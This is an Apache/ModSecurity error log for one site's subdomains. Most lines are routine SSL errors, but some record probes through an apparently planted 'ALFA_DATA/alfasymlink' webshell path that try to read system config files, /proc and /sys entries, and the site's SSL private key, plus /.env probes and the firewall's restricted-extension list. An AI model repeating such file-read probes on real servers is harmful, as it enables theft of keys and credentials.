[Mon Oct 26 21:56:53.867613 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.123:14336] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "auAE5T77nSD73jfhp0aFmwAAAAc"]
[Mon Oct 26 21:56:53.868203 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.123:14336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "auAE5T77nSD73jfhp0aFmwAAAAc"]
[Mon Oct 26 21:56:53.868684 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.123:14336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "auAE5T77nSD73jfhp0aFmwAAAAc"]
[Mon Oct 26 21:56:54.234231 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.226.106.93:16100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:14.621280 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.212.145.46:58920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:18.173775 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.70.123.241:2264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:30.226515 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.216.13.10:19246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:34.269646 2026] [ssl:error] [pid 3137125:tid 3137125] (5)Input/output error: [client 18.232.36.1:33567] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:38.173071 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 54.166.126.132:42191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:40.071440 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.171:22668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAFFD77nSD73jfhp0aFnQAAAAc"]
[Mon Oct 26 21:57:40.071673 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.171:22668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAFFD77nSD73jfhp0aFnQAAAAc"]
[Mon Oct 26 21:57:40.072033 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.171:22668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAFFD77nSD73jfhp0aFnQAAAAc"]
[Mon Oct 26 21:57:54.231265 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 44.195.145.102:33258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:57:58.174294 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.229.2.217:49195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:02.223985 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.85.109.140:43067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:10.892345 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.1.106.130:41517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/device/driver/bind
[Mon Oct 26 21:58:18.167834 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.164.106.236:11318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:22.215833 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.173.38.202:28337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:38.173079 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.163.136.244:23979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:42.158050 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.80.185.200:3303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:46.172493 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.24.167.60:61310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:50.175708 2026] [ssl:error] [pid 3138664:tid 3138664] (5)Input/output error: [client 3.213.85.234:60053] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:54.183615 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 3.224.104.67:65301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:58:58.369645 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.235.191.179:1658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:59:02.184232 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 35.169.240.53:54121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:59:14.152006 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 3.221.244.28:64428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:59:22.213894 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 18.233.24.238:41892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:59:38.164296 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.236.41.241:33349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:59:58.233639 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.89.90.224:6820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:00:06.160311 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 44.212.131.50:21549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:00:14.370878 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 107.22.208.39:62178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:00:22.243226 2026] [security2:error] [pid 3122515:tid 3122515] [client 3.216.86.144:38952] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/module/notes/"] [unique_id "auAFtv9ZN9W71fUwv43RUgAAAAA"]
[Mon Oct 26 22:00:22.243282 2026] [security2:error] [pid 3122515:tid 3122515] [client 3.216.86.144:38952] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/module/notes/"] [unique_id "auAFtv9ZN9W71fUwv43RUgAAAAA"]
[Mon Oct 26 22:00:26.204445 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.215.61.66:37225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:00:34.223007 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 3.219.81.66:60927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:00:45.510772 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.172.76.131:57074] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAFwS-AKBd00cmosRNI7AAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:00:45.510855 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.172.76.131:57074] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAFwS-AKBd00cmosRNI7AAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:00:54.180402 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 44.217.255.167:35348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/node0/compact
[Mon Oct 26 22:00:58.249738 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.197.178.107:39198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:01:02.450940 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 85.208.96.202:24562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__ksymtab_gpl
[Mon Oct 26 22:01:26.751942 2026] [security2:error] [pid 3137125:tid 3137125] [client 190.6.16.173:50049] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2"] [unique_id "auAF9s8F3ZZVbqNCqKaAIAAAAAo"], referer: https://sherwinpinturas.com/
[Mon Oct 26 22:01:46.173518 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.213.27.222:21019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:02:22.218417 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 100.29.160.53:5597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:02:42.173844 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.231.45.47:1903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:02:46.184115 2026] [security2:error] [pid 3138664:tid 3138664] [client 44.223.116.149:8253] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node/driver/00:01/power/"] [unique_id "auAGRheVSgSHzoeHTZ6bVAAAAAg"]
[Mon Oct 26 22:02:46.184172 2026] [security2:error] [pid 3138664:tid 3138664] [client 44.223.116.149:8253] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node/driver/00:01/power/"] [unique_id "auAGRheVSgSHzoeHTZ6bVAAAAAg"]
[Mon Oct 26 22:03:02.158425 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 18.213.240.226:31602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/serial/bind
[Mon Oct 26 22:03:06.166127 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.238.45.183:16456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:10.186911 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 52.203.68.145:39826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:14.167483 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.29.128.75:57858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:18.198640 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.213.70.100:13236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:38.195115 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 23.23.99.55:52205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:42.166536 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 18.235.158.19:4884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:46.366219 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 184.73.68.20:24613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:03:50.187250 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.159.98.248:28334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:02.266004 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.203.68.145:39663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:14.382761 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.8:47786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/hwcache_align
[Mon Oct 26 22:04:26.215831 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.213.199:6979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:30.175720 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.87.62.248:33356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:34.151854 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.204.71.8:31426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:46.166001 2026] [ssl:error] [pid 3130075:tid 3130075] (5)Input/output error: [client 54.210.155.69:25979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:46.311113 2026] [core:error] [pid 3138664:tid 3138664] (13)Permission denied: [client 185.191.171.13:29016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/order
[Mon Oct 26 22:04:54.139189 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 52.203.152.231:42907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:04:58.165428 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.205.113.104:34538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:02/subsystem/devices/device:12/eject
[Mon Oct 26 22:05:06.194749 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.73.6.26:46730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:14.149153 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.221.105.234:22426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:18.171505 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.21.179.27:55344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:22.178293 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 52.2.83.227:47342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty25/subsystem/tty5/subsystem/ttyS0/type
[Mon Oct 26 22:05:42.304789 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.174.141.243:51184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:46.129382 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 52.54.249.218:19472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:50.279479 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.23.99.55:54455] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:54.171519 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.215.24.66:13145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:05:58.189076 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 3.210.223.61:42742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:18.143329 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.23.212.212:7157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:21.665734 2026] [security2:error] [pid 3122519:tid 3122519] [client 16.216.88.20:14336] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "auAHHcSPa3-L2OSmntaJygAAAAI"]
[Mon Oct 26 22:06:21.666224 2026] [security2:error] [pid 3122519:tid 3122519] [client 16.216.88.20:14336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "auAHHcSPa3-L2OSmntaJygAAAAI"]
[Mon Oct 26 22:06:21.666569 2026] [security2:error] [pid 3122519:tid 3122519] [client 16.216.88.20:14336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "auAHHcSPa3-L2OSmntaJygAAAAI"]
[Mon Oct 26 22:06:24.866388 2026] [core:error] [pid 3138664:tid 3138664] (13)Permission denied: [client 185.191.171.19:39640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/objects_partial
[Mon Oct 26 22:06:26.149752 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 34.239.197.197:33358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:30.139695 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.203.237.170:13363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:42.130100 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 100.29.63.24:54049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:54.198223 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.194.14.255:51822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:06:58.132241 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 54.90.8.255:25639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:05.284009 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.14:40002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/min_partial
[Mon Oct 26 22:07:15.300880 2026] [security2:error] [pid 3132187:tid 3132187] [client 185.191.171.18:29498] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5151_d3699_fa2249d6df129dfadc666986733af7b4.key"] [unique_id "auAHU7ChYJundcs5uwsp5gAAAAQ"]
[Mon Oct 26 22:07:15.301242 2026] [security2:error] [pid 3132187:tid 3132187] [client 185.191.171.18:29498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5151_d3699_fa2249d6df129dfadc666986733af7b4.key"] [unique_id "auAHU7ChYJundcs5uwsp5gAAAAQ"]
[Mon Oct 26 22:07:15.301669 2026] [security2:error] [pid 3132187:tid 3132187] [client 185.191.171.18:29498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5151_d3699_fa2249d6df129dfadc666986733af7b4.key"] [unique_id "auAHU7ChYJundcs5uwsp5gAAAAQ"]
[Mon Oct 26 22:07:18.156099 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.231.45.47:55483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:26.139486 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.200.142.199:31753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:07:29.925876 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.170:27066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAHYS-AKBd00cmosRNI_QAAAAE"]
